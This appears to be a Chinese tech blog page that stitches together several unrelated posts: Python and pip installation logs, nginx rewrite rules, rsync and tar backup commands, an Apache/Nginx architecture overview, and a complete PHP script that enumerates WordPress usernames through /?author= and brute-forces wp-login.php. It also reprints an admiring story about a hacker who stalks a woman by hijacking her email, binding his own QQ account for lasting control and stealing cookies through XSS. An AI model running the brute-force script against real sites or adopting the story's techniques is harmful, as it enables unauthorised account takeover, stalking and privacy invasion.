leadscloud

Google SEO|外贸营销推广

安装方法见: https://pypi.python.org/pypi/setuptools/0.9.8#windows

安装过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
copying setuptools.egg-info\top_level.txt -> build\bdist.win-amd64\egg\EGG-INFO
copying setuptools.egg-info\zip-safe -> build\bdist.win-amd64\egg\EGG-INFO
creating dist
creating 'dist\setuptools-3.1-py3.3.egg' and adding 'build\bdist.win-amd64\egg'
to it
removing 'build\bdist.win-amd64\egg' (and everything under it)
Processing setuptools-3.1-py3.3.egg
Copying setuptools-3.1-py3.3.egg to c:\python33\lib\site-packages
Adding setuptools 3.1 to easy-install.pth file
Installing easy_install-script.py script to C:\Python33\Scripts
Installing easy_install.exe script to C:\Python33\Scripts
Installing easy_install-3.3-script.py script to C:\Python33\Scripts
Installing easy_install-3.3.exe script to C:\Python33\Scripts

Installed c:\python33\lib\site-packages\setuptools-3.1-py3.3.egg
Processing dependencies for setuptools==3.1
Finished processing dependencies for setuptools==3.1

运行python程序时出现

No module named 'requests'
You can install missing modules with `pip3 install [modulename]`

安装好setuptools后,使用以下命令即可安装 requests

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Python33\Scripts>easy_install.exe requests
Searching for requests
Reading https://pypi.python.org/simple/requests/
Best match: requests 2.2.1
Downloading https://pypi.python.org/packages/source/r/requests/requests-2.2.1.ta
r.gz#md5=ac27081135f58d1a43e4fb38258d6f4e
Processing requests-2.2.1.tar.gz
Writing c:\users\admini~1\appdata\local\temp\easy_install-4bjzke\requests-2.2.1\
setup.cfg
Running requests-2.2.1\setup.py -q bdist_egg --dist-dir c:\users\admini~1\appdat
a\local\temp\easy_install-4bjzke\requests-2.2.1\egg-dist-tmp-9woril
Adding requests 2.2.1 to easy-install.pth file

Installed c:\python33\lib\site-packages\requests-2.2.1-py3.3.egg
Processing dependencies for requests
Finished processing dependencies for requests

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL /?author= 遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:

1
php wordpress.php http://www.test.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php

set_time_limit(0);
$domain = $argv[1];

//获取用户名
for ($i=1; $i <= 10; $i++) {

    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}

echo "共获取用户".count($namearray)."名用户\n";

echo "正在破解用户名与密码相同的用户:\n";

$crackname = crackpassword($namearray,"same");

$passwords = file("pass.txt");

echo "正在破解弱口令用户:\n";

if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}

crackpassword($namearray,$passwords);

function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&amp;pwd=".urlencode($name)."&amp;wp-submit=%E7%99%BB%E5%BD%95&amp;redirect_to=".urlencode($domain)."%2Fwp-admin%2F&amp;testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&amp;pwd=".urlencode($pass)."&amp;wp-submit=%E7%99%BB%E5%BD%95&amp;redirect_to=".urlencode($domain)."%2Fwp-admin%2F&amp;testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}

function httprequest($url,$post){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    $output = curl_exec($ch);
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

原文:http://drops.wooyun.org/tools/601

0xhost免费1G空间申请/50G流量/支持绑定5个域名!没有过多的介绍,典型的国外CP分销商,免费空间申请比较简单,只需3个步骤:注册-收邮件-登陆后台,值得注意的是该主机商域名为新注册的,持久性还有待验证,下面给出免费空间的详细信息:

1000MB磁盘空间

50GB的带宽

5插件域

5MySQL数据库

5个域名停放

5子域

无广告

cPanel面板

即时激活

LNMP下的301重定向与lnmpa下的重定向不太一样,需要设置nginx的重写规则。比如常用的非www域名重定向到www域名上,或者把index.html重定向到目录下 /

下面是找到的关于lnmpa下的nginx配置规则

1
2
3
4
5
6
if ( $request_uri ~* /index\.(html|htm|php)$ ) {
rewrite ^(.*)index\.(html|htm|php)$ $1 permanent;
}
if ($host !~* ^www\.) {
rewrite ^/(.*)$ $scheme://www.$host/$1 permanent;
}

如果你添加一个虚拟主机,在server下 添加上面的规则即可。

如果你想要从一台电脑上备份一个目录,但你仅仅想要复制改变的文件到它的备份而不是复制所有的东西到各自的备份,你可以使用工具rsync来实现它。你需要在这个远程的源备份计算机上有一个账户。下面是这条命令:

rsync -vare ssh root@192.168.1.10:/home/wwwroot/love4026.org/* /home/wwwroot/love4026.org/

Rsync 参数选项说明

-v, –verbose 详细模式输出
-q, –quiet 精简输出模式
-c, –checksum 打开校验开关,强制对文件传输进行校验
-a, –archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD
-r, –recursive 对子目录以递归模式处理
-R, –relative 使用相对路径信息
-e, –rsh=COMMAND 指定使用rsh、ssh方式进行数据同步

-l, –links 保留软链结
-p, –perms 保持文件权限
-t, –times 保持文件时间信息
-g, –group 保持文件属组信息
-o, –owner 保持文件属主信息
-D, –devices 保持设备文件信息
-z, –compress 对备份的文件在传输时进行压缩处理

rsync使大型目录结构保持同步。通过SSH使用tar远程复制一个文件系统的一部分是非常理想的,sync甚至更适合保持两台机器之间的文件系统的同步。为了使用SSH运行一个rsyns,传递给它一个-e转换:

rsync -ave ssh greendome:/home/ftp/pub/ /home/ftp/pub/

注意从源端(在greendome上)来的文件说明后面的 / ,在源说明中,一个尾部的 / 告诉rsync这个目录的内容,但不是目录本身。为了将目录放入正在复制的内容的最高等级丢掉这个 /:

rsync -ave ssh bcnu:/home/six .

这将在 ~/six/目录下保持一个与bcnu:/home/six/上的任何东西同步的复制品。rsync默认只拷贝文件和目录,但是当源端移除了文件时并不会在目的端移除它们的拷贝。为了保持复制的精确性,包含–delete这个标志:

现在当老的报表从greendome上的one/reports/中移除了,在同步版本中,每次这个命令运行时,它们也将会从six/public_html/reports/中移除。如果你在corn中像这样运行一条命令,记得丢掉v。这将会使输出稳定(除非rsync在运行中出现问题,在这种情况下你将会收到一封有错误输出的邮件)。使用SSH作为你的rsync运输方式,这样做的好处是使数据在网络传输过程中加密,并可以方便使用任何你已经用SSH客户端密钥建立的信任关系。

rsync -ave ssh--delete greendome:~one/reports .

更新:备份远程数据库还有一个方法,此方法不要求两边的电脑上都必须安装rsync,就是使用tar命令。一边tar一边通过ssh传到服务器并且自动解压缩,最后会得到远程服务器上文件夹的一份完美备份,并且在目标服务器上不会写入任何文件。方法如下:

tar zcf - /some/localfolder | ssh remotehost.domain.com "cd /some/path/name; tar zxpf -"

Pyuthon如果需要升级,请按以下步骤执行,注意版本号不同,命令可能会有所不同,注意下版本号数字就行,别输错了。

先升级Python,执行

1
2
3
4
5
6
7
8
wget http://www.python.org/ftp/python/2.7.5/Python-2.7.5.tgz
tar zxvf Python-2.7.5.tgz
cd Python-2.7.5
./configure
make all
make install
make clean
make distclean

目前的路径应该是/usr/local/bin/python2.7,顺便看下版本

1
/usr/local/bin/python2.7 -V

然后查下当前的版本

python -V

我这里显示的是2.6.6

1
2
mv /usr/bin/python /usr/bin/python2.6.6
ln -s /usr/local/bin/python2.7 /usr/bin/python

现在再看下版本

python -V

应该显示2.7.5了

以上操作可以不执行,现在来说下如何安装pip

安装pip前,可能会需要让你安装setuptools

1
2
wget https://pypi.python.org/packages/2.6/s/setuptools/setuptools-0.6c11-py2.6.egg --no-check-certificate
sh setuptools-0.6c11-py2.6.egg

安装好后,如下所示:

1
2
3
4
5
6
7
8
9
10
[root@zhongwen ~]# sh setuptools-0.6c11-py2.6.egg
Processing setuptools-0.6c11-py2.6.egg
Copying setuptools-0.6c11-py2.6.egg to /usr/local/lib/python2.6/site-packages
Adding setuptools 0.6c11 to easy-install.pth file
Installing easy_install script to /usr/local/bin
Installing easy_install-2.6 script to /usr/local/bin

Installed /usr/local/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg
Processing dependencies for setuptools==0.6c11
Finished processing dependencies for setuptools==0.6c11

正式安装pip,此为依pip 1.4为例

1
2
3
4
wget --no-check-certificate https://pypi.python.org/packages/source/p/pip/pip-1.4.tar.gz
tar -zxvf ./pip-1.4.tar.gz
cd pip-1.4
python setup.py install

升级python后会导致yum不可用,解决办法如下:

vi /usr/bin/yum
#/usr/bin/python to #/usr/bin/python2.6

或者下载rpm包重新安装下yum

http://mirror.centos.org/centos/5/os/x86_64/CentOS/yum-3.2.22-40.el5.centos.noarch.rpm

1
rpm -Uvh --replacepkgs yum-3.2.22-40.el5.centos.noarch.rpm

V

他是我所认识的最强大的地下黑客之一,在本文中我姑且称他为V。

之所以是之一,是因为我还认识另外一个叫A的黑客,A宣称自己成功入侵了包括Google、Facebook、Twitter等你几乎能叫得上名字的所有大型互联网公司。

而V要低调的多。

我认为V已经是地下黑客世界中的王者,虽然他从不肯告诉我他入侵的那些公司的名字,但我仍然会毫不犹豫的将他列为当今世界上最强大的黑客之一。

V至今仍恪守着古老的黑客守则,就如同中世纪的骑士们执着于骑士精神一般。他从不在任何公众场合谈论入侵了什么网站,入侵后也从不删除数据或是进行破坏,他也不会用入侵获得的成果来牟利。

V只是一个人,他的身后没有任何的机构或组织,因此才更加的难能可贵。

幽灵

“我曾经持续观察了一个女孩3年,3年中一直看着她和男朋友谈情说爱。她是个美女,我只见过她两次,是朋友的朋友。

最后她没有选择一直在谈情说爱的男朋友,而是和一个比她大了8岁的男人结婚。当她和那个比她大8岁的男人的结婚照出现在相册时,我彻底被现实社会给击败了。”

V坦诚,有时候他喜欢窥探他人的隐私。我告诉他,窥私欲是人类的天性,是所有黑客走上黑客之路的源动力。

QQ查找好友的“可能认识的人”,把女孩推荐给了V(朋友的朋友)。女孩用自己的照片做了头像,所以一眼就能认出来。随后V查看了女孩的个人资料,知道了女孩的邮箱地址。V查出了女孩用的网易邮箱的密码(下文会解释),发现密码很有规律,是“姓名全拼+!@#”,或者“woaini+生日+姓名全拼”。

V进入女孩的邮箱后,发现女孩注册了12306用来订火车票。V通过这个注册邮箱,获取了女孩在12306的密码。登录12306后,V得到了女孩和她家人的所有身份证信息以及出行记录。同时女孩在携程上预订的机票信息也会发送到这个邮箱。自此,女孩只要出行想去什么地方,去过哪里,全都在V的掌控之中。

网易邮箱为了保护账户安全可以绑定QQ。V看到女孩的网易邮箱没有绑定QQ,就去绑定了一个自己的QQ。这样就算女孩把邮箱密码换了,V也能够通过绑定的QQ号强制改回来,从而实现了对女孩的终生监控。女孩至今都没发现安全认证的QQ号不是自己的。

有一次,V用一个QQ的XSS漏洞,获得了女孩在腾讯的Cookie,从而能够浏览她的微博私信、QQ空间、私人相册、朋友网、QQ每天都和谁说话了,QQ每天在哪里登陆过(如果对此技术有疑惑或者有兴趣的朋友可以查阅拙作《白帽子讲Web安全》)。V就像一双隐形的眼睛,在背后默默的注视着女孩的一举一动,一颦一笑。也许V比女孩最亲密的人,都更了解女孩的一切。

这里没有什么狗血的爱情故事,V只是默默的观察着,而从未惊动过女孩。

V还控制了很多大型商场、写字楼的内网。有一段时间,他曾经研究过保安的行为。

“公司给保安们安排的监控电脑,是无法上网消遣的。我看到有几个技术型保安,买了一个叫如意天线的东西,专门破解附近无线密码的玩意,还带无线网卡功能。

他们把用来监控的电脑装上了这个如意天线网卡,破解了写字楼很多楼层的密码,记录在一个文档里面。比如:WIFI名,密码是多少的一个文档,大约有几十个。

保安对于整个商场的网络安全来说,是个很大的隐患。我还特意登录了他们用的客户端,看他们平时都做些什么,研究他们。保安们每天用电脑的需求就是聊QQ,上网看电影。”

我想监守自盗,不过如此吧。

控制了商场的内部系统就能修改充值卡、积分卡的数据,从而免费购物,V也验证过这一点。

翻手为云

不过观察女孩、研究保安、控制商场和写字楼都只是V强大能力的冰山一角。V通过控制公共服务设施,具备了很多只在电影中出现的很科幻的能力。

V都不太好意思提像“伪造任意手机号码发送短信”等半公开的技术。V能够做到查询指定手机的短信内容、通讯记录。还能查到指定手机号当前所在基站的编号,然后找到对应编号基站的物理地址,这意味着他能快速定位到任何一个人的真实地理位置所在。这一切都基于V对运营商内部系统权限的控制。也许你已经意识到了,控制了运营商的内部系统,就可以针对每个省的手机用户实现定向推送短信。

V已经拥有了强大的舆论控制能力。借助社交网络和新闻资讯网站,以及运营商级别的手机广播,V可以让自己的思想在10分钟内传遍整个互联网。但V从未滥用过他的能力。

V控制了大部分粉丝数量在百万和千万级的微博大号,他给我展示的战果里不乏像苍井空、欧弟这样的人民艺术家。他告诉我,大部分微博大号都是经纪人在打理,而非本人,真不知道粉丝们每天瞎起个什么劲。所以“何润东”同学的“大概8点20分发”可能也是这样闹出来的乌龙。V在一些影响力巨大的微博大号后台里仔细研究过他们的行为,有些大号也是本人在操作,比如李开复、keso等意见领袖。

“咳咳,那个谁,keso同学,你的密码是7位的数字,赶紧找个时间改改吧!”

如同往常一样,V并未惊动这些大号们,只是在背后默默的观察着他们的一言一行。

“观察女孩子是猥琐的事情,我还希望能够做些正义的事情。”,V说。

“你有没有想过未来像维基解密的创始人阿桑奇一样,揭露一些真相?”,我问。

“也许吧,我希望让更多‘需要靠奥特曼打小怪兽培养正义感’的年轻人们,能够有机会倾听到社会真正的声音。”,V如是说。

无独有偶,阿桑奇在接受TED采访时,也谈到“纳税人有权知道他们缴税来支撑的这些事情的真相。”

自古侠以武犯禁,人在做,天在看。多行不义者,小心会被V盯上后“研究一段时间”。

V告诉我,他控制过很多电力、自来水、煤气等基础设施服务公司。以电力公司为例,一个小区在开发商开发好后,随着房子卖出,物业公司会联系电力公司为每家每户布线装表。此时,业主的联系信息(和房产证的信息基本一致)将被写入电网的相关系统,只要在电网、自来水公司、煤气公司的数据库里查询一下记录,就能查出很多“房叔”、“房姐”之类的人。

地下世界的王者

对于真正强大的黑客来说,已经勿须再关注是否能控制个别网站的权限,V所控制的权限都是以“行业”为单位来划分的。

“网页游戏行业90%的公司,一些大型电商、大型论坛,80%的连锁酒店行业,80%以上的在线预订行业,手机App排行比较高的公司,几家最大的航空公司……”,V拉出了长长的一串名单。

我问V,“还有什么网站是你黑不掉的吗?”

V答道:“目前成功率是100%,只要有耐心,还没有黑不掉的。

有几个站,我已经持续盯了6年了,我的感觉是快要拿下了。

黑站黑多了,你就会有这样的直觉。”

我想任何网站一旦知道有一个像V这样的人在长期惦记着,都会感到毛骨悚然吧。这种长期的、持续的攻击方式,在安全行业里有一个专业术语,叫APT(Advanced Persistent Threat)。但V对此不屑一顾,他不知道为什么这么好玩的事情一定要加上一个专业名词。

“以前我会自己去找一些WEB程序的0day,现在基本上不需要了。

现在靠的是对目标的了解。把目标分解后,不一定非得在WEB系统上耗时间。和目标相关的所有人,或者同一交换机,同一骨干路由下的服务器也会成为我的攻击目标。

每一次攻击行为都做到极致,对手其实是自己,而不是任何其他系统或人。重要的是整个攻击过程开心就好。还有一种感觉我说不出来。每一次证实自己的想法,做到极限的时候,都会伴随着快感。”

V发现了很多独特的,有创意的攻击手法,他也乐在其中。“Hacking For Fun”在他的身上体现的淋漓尽致。

领先一个时代的攻击技术

V对国内的公司兴趣已经不大了,因为没什么挑战。目前V走上了国际化的道路。

他最大的成就,是积累了一个去重后有13亿条数据的数据库。每条记录,都包含了用户名、密码、身份证号(社保ID)、手机号、邮箱、登录IP等信息。

对于V来说,想知道谁的密码,只需要在库中简单的查询一下,马上就得到了。有时候密码经过了哈希算法的处理,需要经过彩虹表的反查,或者V会拿到一个云计算中心去用分布式计算框架破解(对技术有疑惑或者有兴趣的读者可以参阅拙作《白帽子讲Web安全》)。所以V能够直接查到女孩的邮箱密码。

“道哥,你的Facebook账号和Twitter账号都是同一个弱口令,好多年了,改改吧。”,V一脸坏笑的对我说。

V在入侵的过程中,遇到任何需要破解的账户,大部分都可以直接查询出密码,无往而不利。这个数据库,像滚雪球一样越滚越大,最终量变形成了质变。

在前几天,Youtube刚刚宣布他们的月度活跃用户数达到了10亿,这意味着互联网上每两个网民中就有一个是Youtube的活跃用户。V可能会在背后暗自偷笑吧,他的13亿去重后的用户数据,也覆盖了半个互联网。每两个人中,就有一个人的密码在V的掌控,你会不会是那一个人呢?

当其他的小黑客们还在摆弄着各种扫描器和0day的时候,V已经用领先了整整一个时代的技术 —- 大数据的方式 —- 来黑网站了。

在真正强大的黑客面前,互联网公司的任何防御措施都像是一张纸,显得如此的薄弱,一捅就破。黑客们只能靠道德来约束自己的行为,能力越强,责任越大。

V最后给了我一张图,也许你们已经猜到了,就是本文的配图(点击图片可查看高清无码大图)。V从他的13亿条记录中轻巧的抽取出了80万登录IP,绘制了这张铺满全世界的地图:

从空旷的格陵兰岛,到炽热的撒哈拉大沙漠;从寒冷的西伯利亚,到充满野性的亚马逊丛林;从北极冰原,到太平洋、大西洋上星罗密布的岛屿;

V,在这个星球上,还有什么地方是你不曾征服的吗?你点亮了全世界!

原文:http://www.javaranger.com/archives/849

用正确的工具,做正确的事情。

本文只作为了解Apache和Nginx知识的一个梳理,想详细了解的请阅读文末参考链接中的博文。

Web服务器

Web服务器也称为WWW(WORLD WIDE WEB)服务器,主要功能是提供网上信息浏览服务。

  • 应用层使用HTTP协议。
  • HTML文档格式。
  • 浏览器统一资源定位器(URL)。

Web服务器常常以B/S(Browser/Server)方式提供服务。浏览器和服务器的交互方式如下:

                 GET /index.php HTTP/1.1

 +---------------+                   +----------------+
 |               +------------------->                |
 |   Browser     |                   |   Server       |
 |               <-------------------+                |
 +---------------+                   +----------------+

                   HTTP/1.1 200 OK
  1. 浏览器向服务器发出HTTP请求(Request)。
  2. 服务器收到浏览器的请求数据,经过分析处理,向浏览器输出响应数据(Response)。
  3. 浏览器收到服务器的响应数据,经过分析处理,将最终结果显示在浏览器中。

Apache和Nginx都属于Web服务器,两者都实现了HTTP 1.1协议。

Apache

概述

Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数计算机操作系统中运行,由于其跨平台和安全性。被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。 – 维基百科

Apache组件

Apache是基于模块化设计的,它的核心代码并不多,大多数的功能都被分散到各个模块中,各个模块在系统启动的时候按需载入。

         +----------+
      +- | Module   | -----------------+
      |  +----------+                  |
      |                          +------------+
+-----------+   Apache HTTPD     | php module |
| Module    |                    +------------+
+-----------+              +----------+|
      +----------+-------- |  MPM     |+
                 |         +----+---+-+
               +-v-----------+  |   |
               |    ARP      <--+   |
               +------+------+      |
                      |             |
      +---------------v-------------v--+
      |      Operating  System         |
      +--------------------------------+

MPM(Multi -Processing Modules,多重处理模块)是Apache的核心组件之一,Apache通过MPM来使用操作系统的资源,对进程和线程池进行管理。Apache为了能够获得最好的运行性能,针对不同的平台 (Unix/Linux、Window)做了优化,为不同的平台提供了不同的MPM,用户可以根据实际情况进行选择,其中最常使用的MPM有 prefork和worker两种。至于您的服务器正以哪种方式运行,取决于安装Apache过程中指定的MPM编译参数,在X系统上默认的编译参数为 prefork。

由于大多数的Unix都不支持真正的线程,所以采用了预派生子进程(prefork)方式,象Windows或者Solaris这些支持 线程的平台,基于多进程多线程混合的worker模式是一种不错的选择。Apache中还有一个重要的组件就是APR(Apache portable Runtime Library),即Apache可移植运行库,它是一个对操作系统调用的抽象库,用来实现Apache内部组件对操作系统的使用,提高系统的可移植性。 Apache对于php的解析,就是通过众多Module中的php Module来完成的。

Apache生命周期

   +--------------------------------------------------------------+
   |                 +---------------------+       启动阶段        |
   |                 |    系统启动, 配置     |                      |
   |                 +----------+----------+                      |
   |                            |                                 |
   |                 +----------v----------+                      |
   |                 |      模块的初始化     |                      |
   |                 +-+--------+--------+-+                      |
   |                   |        |        |                        |
   |   +-------------+ | +------v-------+| +--------------+       |
   |   | 子进程初始化  |<+ | 子进程初始化   |+>|  子进程初始化  |       |
   |   +------+------+   +-------+------+  +-------+------+       |
   +--------------------------------------------------------------+
   |          |                  |                 |     运行阶段  |
   |     +----v----+        +----v----+       +----v----+         |
   |     | 请求循环 |        |  请求循环 |       | 请求循环 |         |
   |     +----+----+        +----+----+       +----+----+         |
   |          |                  |                 |              |
   |   +------v------+    +------v------+   +------v------+       |
   |   |  子进程结束   |    |  子进程结束  |   |   子进程结束  |       |
   |   +-------------+    +-------------+   +-------------+       |
   +--------------------------------------------------------------+

这个生命周期是在perfork工作下的示意,从图中可以看出,Apache对于每一个请求都要启动一个单独的进程来处理。

Apache的工作模式

prefork的工作原理

一个单独的控制进程(父进程)负责产生子进程,这些子进程用于监听请求并作出应答。Apache总是试图保持一些备用的 (spare)或是空闲的子进程用于迎接即将到来的请求。这样客户端就无需在得到服务前等候子进程的产生。在Unix系统中,父进程通常以root身份运行以便邦定80端口,而 Apache产生的子进程通常以一个低特权的用户运行。User和Group指令用于配置子进程的低特权用户。运行子进程的用户必须要对他所服务的内容有读取的权限,但是对服务内容之外的其他资源必须拥有尽可能少的权限。

worker的工作原理

每个进程能够拥有的线程数量是固定的。服务器会根据负载情况增加或减少进程数量。一个单独的控制进程(父进程)负责子进程的建立。每个子进程能够建立ThreadsPerChild数量的服务线程和一个监听线程,该监听线程监听接入请求并将其传递给服务线程处理和应答。Apache总是试图维持一个备用(spare)或是空闲的服务线程池。这样,客户端无须等待新线程或新进程的建立即可得到处理。在Unix中,为了能够绑定80端口,父进程一般都是以root身份启动,随后,Apache以较低权限的用户建立子进程和线程。User和Group指令用于配置Apache子进程的权限。虽然子进程必须对其提供的内容拥有读权限,但应该尽可能给予他较少的特权。另外,除非使用了suexec ,否则,这些指令配置的权限将被CGI脚本所继承。

Apache的运行

启动阶段

在启动阶段,Apache主要进行配置文件解析(例如http.conf以及Include指令设定的配置文件等)、模块加载(例如mod_php.so,mod_perl.so等)和系统资源初始化(例如日志文件、共享内存段等)工作。在这个阶段,Apache为了获得系统资源最大的使用权限,将以特权用户root(X系统)或超级管理员administrator(Windows系统)完成启动。

这个过程可以通过下图来深入了解:

       +--------+      
       |  开始   |      
       +----+---+         
            |
 +----------v------------+   解析主配置文件http.conf中配置信息, 
 |     解析配置文件        |   像LoadModule, AddType
 +----------+------------+   等指令被加载至内存
            |
 +----------v------------+   依据AddModule, LoadModule等指令
 |   加载静态/动态模块     |   加载Apache模块,像mod_php5.so被
 +----------+------------+   加载至内存,映射到Apache地址空间。
            |
 +----------v------------+   日志文件、共享内存段,数据库链接
 |     系统资源初始化      |    等初始化
 +----------+------------+
            |
        +---v----+
        |  结束   |
        +--------+

运行阶段

在运行阶段,Apache主要工作是处理用户的服务请求。在这个阶段,Apache放弃特权用户级别,使用普通权限,这主要是基于安全性的考虑,防止由于代码的缺陷引起的安全漏洞。

由于Apache的Hook机制,Apache 允许模块(包括内部模块和外部模块,例如mod_php5.so,mod_perl.so等)将自定义的函数注入到请求处理循环中。mod_php5.so/php5apache2.dll就是将所包含的自定义函数,通过Hook机制注入到Apache中,在Apache处理流程的各个阶段负责处理php请求。

Apache将请求处理循环分为11个阶段,依次是:Post-Read-Request,URI Translation,Header Parsing,Access Control,Authentication,Authorization,MIME Type Checking,FixUp,Response,Logging,CleanUp。

Apache处理http请求的生命周期:

Apache处理http请求的生命周期

  1. Post-Read-Request阶段:在正常请求处理流程中,这是模块可以插入钩子的第一个阶段。对于那些想很早进入处理请求的模块来说,这个阶段可以被利用。
  2. URI Translation阶段 : Apache在本阶段的主要工作:将请求的URL映射到本地文件系统。模块可以在这阶段插入钩子,执行自己的映射逻辑。mod_alias就是利用这个阶段工作的。
  3. Header Parsing阶段 : Apache在本阶段的主要工作:检查请求的头部。由于模块可以在请求处理流程的任何一个点上执行检查请求头部的任务,因此这个钩子很少被使用。mod_setenvif就是利用这个阶段工作的。
  4. Access Control阶段 : Apache在本阶段的主要工作:根据配置文件检查是否允许访问请求的资源。Apache的标准逻辑实现了允许和拒绝指令。mod_authz_host就是利用这个阶段工作的。
  5. Authentication阶段 : Apache在本阶段的主要工作:按照配置文件设定的策略对用户进行认证,并设定用户名区域。模块可以在这阶段插入钩子,实现一个认证方法。
  6. Authorization阶段 : Apache在本阶段的主要工作:根据配置文件检查是否允许认证过的用户执行请求的操作。模块可以在这阶段插入钩子,实现一个用户权限管理的方法。
  7. MIME Type Checking阶段 : Apache在本阶段的主要工作:根据请求资源的MIME类型的相关规则,判定将要使用的内容处理函数。标准模块mod_negotiation和mod_mime实现了这个钩子。
  8. FixUp阶段 : 这是一个通用的阶段,允许模块在内容生成器之前,运行任何必要的处理流程。和Post_Read_Request类似,这是一个能够捕获任何信息的钩子,也是最常使用的钩子。
  9. Response阶段 : Apache在本阶段的主要工作:生成返回客户端的内容,负责给客户端发送一个恰当的回复。这个阶段是整个处理流程的核心部分。
  10. Logging阶段 : Apache在本阶段的主要工作:在回复已经发送给客户端之后记录事务。模块可能修改或者替换Apache的标准日志记录。
  11. CleanUp阶段 : Apache在本阶段的主要工作:清理本次请求事务处理完成之后遗留的环境,比如文件、目录的处理或者Socket的关闭等等,这是Apache一次请求处理的最后一个阶段。

Nginx

概述

Nginx(发音同engine x)是一款由俄罗斯程序员Igor Sysoev所开发轻量级的网页服务器、反向代理服务器以及电子邮件(IMAP/POP3)代理服务器。起初是供俄国大型的门户网站及搜索引擎Rambler(俄语:Рамблер)使用。 – 维基百科

Nginx的模块与工作原理

Nginx由内核和模块组成,其中,内核的设计非常微小和简洁,完成的工作也非常简单,仅仅通过查找配置文件将客户端请求映射到一个location block(location是Nginx配置中的一个指令,用于URL匹配),而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。

Nginx的模块从结构上分为核心模块、基础模块和第三方模块:

  • 核心模块:HTTP模块、EVENT模块和MAIL模块

  • 基础模块:HTTP Access模块、HTTP FastCGI模块、HTTP Proxy模块和HTTP Rewrite模块,

  • 第三方模块:HTTP Upstream Request Hash模块、Notice模块和HTTP Access Key模块。
    Nginx的模块从功能上分为如下三类:

  • Handlers(处理器模块)。此类模块直接处理请求,并进行输出内容和修改headers信息等操作。Handlers处理器模块一般只能有一个。

  • Filters (过滤器模块)。此类模块主要对其他处理器模块输出的内容进行修改操作,最后由Nginx输出。

  • Proxies (代理类模块)。此类模块是Nginx的HTTP Upstream之类的模块,这些模块主要与后端一些服务比如FastCGI等进行交互,实现服务代理和负载均衡等功能。

                 +                    ^
    Http Request |                    |  Http Response
                 |                    |
    

    +———+——v—–+ +—-+—-+
    | Conf | Nginx Core | | FilterN |
    +———+——+—–+ +—-^—-+
    | |
    | +—-+—-+
    | | Filter2 |

choose a handler | +—-^—-+
based conf | |
| +—-+—-+
| | Filter1 |
| +—-^—-+
| | Generate content
+—–v——————–+—-+
| Handler |
+——————————-+

Nginx本身做的工作实际很少,当它接到一个HTTP请求时,它仅仅是通过查找配置文件将此次请求映射到一个location block,而此location中所配置的各个指令则会启动不同的模块去完成工作,因此模块可以看做Nginx真正的劳动工作者。通常一个location中的指令会涉及一个handler模块和多个filter模块(当然,多个location可以复用同一个模块)。handler模块负责处理请求,完成响应内容的生成,而filter模块对响应内容进行处理。

Nginx架构及工作流程

Nginx架构

上图是Nginx的架构,这个架构类似于Apache的Worker工作状态,Nginx的每一个Worker进程都管理着大量的线程,真正处理请求的是Worker之下的线程。

所有实际上的业务处理逻辑都在worker进程。worker进程中有一个函数,执行无限循环,不断处理收到的来自客户端的请求,并进行处理,直到整个nginx服务被停止。Worker中这个函数执行内容如下:

  1. 操作系统提供的机制(例如epoll, kqueue等)产生相关的事件。
  2. 接收和处理这些事件,如是接受到数据,则产生更高层的request对象。
  3. 处理request的header和body。
  4. 产生响应,并发送回客户端。
  5. 完成request的处理。
  6. 重新初始化定时器及其他事件。

Nginx和FastCGI

FastCGI

FastCGI是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。多数流行的HTTP server都支持FastCGI,包括Apache、Nginx和lighttpd等。同时,FastCGI也被许多脚本语言支持,其中就有PHP。

FastCGI是从CGI发展改进而来的。传统CGI接口方式的主要缺点是性能很差,因为每次HTTP服务器遇到动态程序时都需要重新启动脚本解析器来执行解析,然后将结果返回给HTTP服务器。这在处理高并发访问时几乎是不可用的。另外传统的CGI接口方式安全性也很差,现在已经很少使用了。

